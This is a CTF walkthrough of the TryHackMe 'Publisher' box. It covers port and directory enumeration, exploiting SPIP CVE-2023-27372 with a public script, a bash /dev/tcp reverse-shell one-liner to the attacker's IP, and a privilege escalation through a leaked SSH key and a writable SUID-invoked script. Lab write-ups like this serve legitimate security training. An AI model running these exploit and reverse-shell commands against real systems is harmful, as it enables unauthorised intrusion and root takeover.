Publisher TryHackMe Walkthrough

9 min readJun 29, 2024

Hello guys welcome back to another walkthrough this time we are going to be tackling Publisher from tryhackme a nice beginner box by josemlwdf. We’ll start of by enumerating open ports using nmap and identifying two ports are open namely SSH (Port 22) and HTTP (Port 80). The web application seems to be using a CMS (Content Management System) called SPIP which seems to be vulnerable to unauthenticated Remote Code Execution(RCE) We’ll use an exploit from GitHub to get a shell on the box as www-data user then escalate our privileges to think use using a leaked SSH private key then lastly get root on the box by exploiting weak file permission. Without much say lets begin

Below is a brief description of this box given by the author

The “Publisher” CTF machine is a simulated environment hosting some services. Through a series of enumeration techniques, including directory fuzzing and version identification, a vulnerability is discovered, allowing for Remote Code Execution (RCE). Attempts to escalate privileges using a custom binary are hindered by restricted access to critical system files and directories, necessitating a deeper exploration into the system’s security profile to ultimately exploit a loophole that enables the execution of an unconfined bash shell and achieve privilege escalation

As always we’ll start off by running an nmap scan on the box to discover the ports that are open. The command used was

nmap -sC -sV 10.10.242.225

nmap -sC -sV 10.10.242.225                       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 13:04 EAT
Nmap scan report for 10.10.242.225
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.82 seconds

Above we can see the two open ports. (Always run a full port scan afterwards since it’s easy missing open ports. I’ve missed some before which doing CTF’s and boxes though this isn’t required in this box). We cannot begin with enumerate SSH because we need to have valid credentials or at least a valid username for a brute force attack to be performed. Though most secure systems of late have password policies enforced with a maximum number of failed login attempts followed by account lockouts.

My focus will be on HTTP right now. On opening the web application we get a standard web page

On running directory brute forcing using ffuf we get a directory called spip. The command used was

ffuf -u http://10.10.163.99/FUZZ -e .php,.txt -w  /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt

ffuf -u http://10.10.163.99/FUZZ -e .php,.txt -w  /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt                                                                                                              
                                                                                                                                    
        /'___\  /'___\           /'___\                                                                                             
       /\ \__/ /\ \__/  __  __  /\ \__/                                                                                             
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\                                                                                            
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/                                                                                            
         \ \_\   \ \_\  \ \____/  \ \_\                                                                                             
          \/_/    \/_/   \/___/    \/_/                                                                                             
                                                                                                                                    
       v2.1.0-dev                                                                                                                   
________________________________________________                                                                                    
                                                                                                                                    
 :: Method           : GET                                                                                                          
 :: URL              : http://10.10.163.99/FUZZ                                                                                     
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt                               
 :: Extensions       : .php .txt                                                                                                    
 :: Follow redirects : false                                                                                                        
 :: Calibration      : false                                                                                                        
 :: Timeout          : 10                                                                                                           
 :: Threads          : 40                                                                                                           
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500                                                         
________________________________________________

.php                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 346ms]
images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 333ms]
.html.txt               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 332ms]
.html.php               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 335ms]
.htm.php                [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 310ms]
.htm.txt                [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 310ms]
.htm                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 311ms]
.html                   [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 3015ms]
.                       [Status: 200, Size: 8686, Words: 1334, Lines: 151, Duration: 283ms]
.htaccess.php           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 293ms]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 293ms]
.htaccess.txt           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 296ms]
.phtml                  [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 296ms]
.htc                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 282ms]
.htc.php                [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 283ms]
.htc.txt                [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 280ms]
.html_var_DE.php        [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 289ms]
.html_var_DE.php        [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 289ms]
.html_var_DE.txt        [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 289ms]
.html_var_DE            [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 292ms]
spip                    [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 280ms]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 288ms]
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 277ms]
.htpasswd.php           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 284ms]
.htpasswd.txt           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 283ms]

Navigating to /spip/ directory we get another article called publisher

How did i identity which CMS it was. I just took spip.php and googled for the CMS on google

Continuing to look though the pages we see that the application might be vulnerable to unauthenticated remote code execution

We have now identified that the CMS is called SPIP but which version are we running. I found a SPIP CMS scanner on GitHub thought the application last update date was in 2015–2016. Below is the link to the scanner.

GitHub - PaulSec/SPIPScan: SPIP (CMS) Scanner for penetration testing purpose written in Python

SPIP (CMS) Scanner for penetration testing purpose written in Python - PaulSec/SPIPScan

github.com

I knew that it should have a way of idenitfying the CMS version. I decided to look at the code for the tool to see how it identifies the CMS version and the below code sticks out like a sore thump detect_version()

def detect_version(req):
    if 'composed-by' in req.headers:
        res = detect_version_with_header(req.headers['composed-by'])
        if not res:
            res = detect_version_in_html(req.content)
        if res:
            return
    if opts.force:
        print("Doesn't seem to be a SPIP install!")
    else:
        raise Exception('Are you sure it is a SPIP install?')

From the response headers we can get the version of SPIP installed on the server. Looking the the requests passing through burpsuite we get that the version running on the server is 4.2.0

Next step is looking for an exploit for that specific version of the application and we found a GitHub page with the exploit

GitHub - Chocapikk/CVE-2023-27372: SPIP Vulnerability Scanner - CVE-2023-27372 Detector

SPIP Vulnerability Scanner - CVE-2023-27372 Detector - Chocapikk/CVE-2023-27372

github.com

I git cloned the project to my local machine using the below command

git clone https://github.com/Chocapikk/CVE-2023-27372.git             
Cloning into 'CVE-2023-27372'...                                                                                                    
remote: Enumerating objects: 25, done.                                                                                              
remote: Counting objects: 100% (14/14), done.                                                                                       
remote: Compressing objects: 100% (12/12), done.                                                                                    
remote: Total 25 (delta 4), reused 7 (delta 2), pack-reused 11                                                                      
Receiving objects: 100% (25/25), 14.20 KiB | 156.00 KiB/s, done.                                                                    
Resolving deltas: 100% (6/6), done.

Next i installed all the required libraries using the following command

pip install -r requirements.txt

To run the tool i used the following command

python CVE-2023-27372.py -u http://10.10.163.99/spip/ -v -o report.txt

Looking at the screenshot below we get remote code execution on the server

Next is getting a reverse shell on the box and the command i used was

bash -c "bash -i >& /dev/tcp/10.8.84.177/9001 0>&1"

After setting up a netcat listener on port 9001 and we get a reverse shell

nc -nvlp 9001                                                      
listening on [any] 9001 ...                                                                                                         
connect to [10.8.84.177] from (UNKNOWN) [10.10.163.99] 58864                                                                        
bash: cannot set terminal process group (1): Inappropriate ioctl for device                                                         
bash: no job control in this shell                                                                                                  
www-data@41c976e507f8:/home/think/spip/spip$

We have a shell as the www-data user on the server and we seem to have landed on a docker container. Doing some manual enumeration we discover a SSH private key in think’s home directory and we have read access to the private key

I copied the key to my box

Trying to SSH to the box with the key it worked we have escaped the docker container. The command used was (Ensure you give the private key the correct permissions)

ssh -i think.ssh think@10.10.163.99

Running lipeas we get an SUID binary that seems to called a bash scrip which we have write access to

GitHub - peass-ng/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

PEASS - Privilege Escalation Awesome Scripts SUITE (with colors) - peass-ng/PEASS-ng

github.com

Given we can modify /opt/run_container.sh. Trying to see if i could read the root directory by changing the code in /opt/run_container.sh

I made the changes then saved the script. On running the binary we see that we are able to list the root directory

Looking keenly at the directories we see there’s a .ssh directory. I tried to see if there’s a private key by doing another directory listing

We see that there’s a private key most probably belonging to the root user

I dumped the key by again changing the script as seen below

We get the private key for the root user

We gave the key the appropriate permissions

Tried to SSH to the box as the root user using the command

ssh -i root.ssh root@10.10.163.99

It works we managed to login to the box as the root user and get the flags

Publisher TryHackMe Walkthrough

GitHub - PaulSec/SPIPScan: SPIP (CMS) Scanner for penetration testing purpose written in Python

SPIP (CMS) Scanner for penetration testing purpose written in Python - PaulSec/SPIPScan

GitHub - Chocapikk/CVE-2023-27372: SPIP Vulnerability Scanner - CVE-2023-27372 Detector

SPIP Vulnerability Scanner - CVE-2023-27372 Detector - Chocapikk/CVE-2023-27372

GitHub - peass-ng/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

PEASS - Privilege Escalation Awesome Scripts SUITE (with colors) - peass-ng/PEASS-ng

Written by Musyoka Ian

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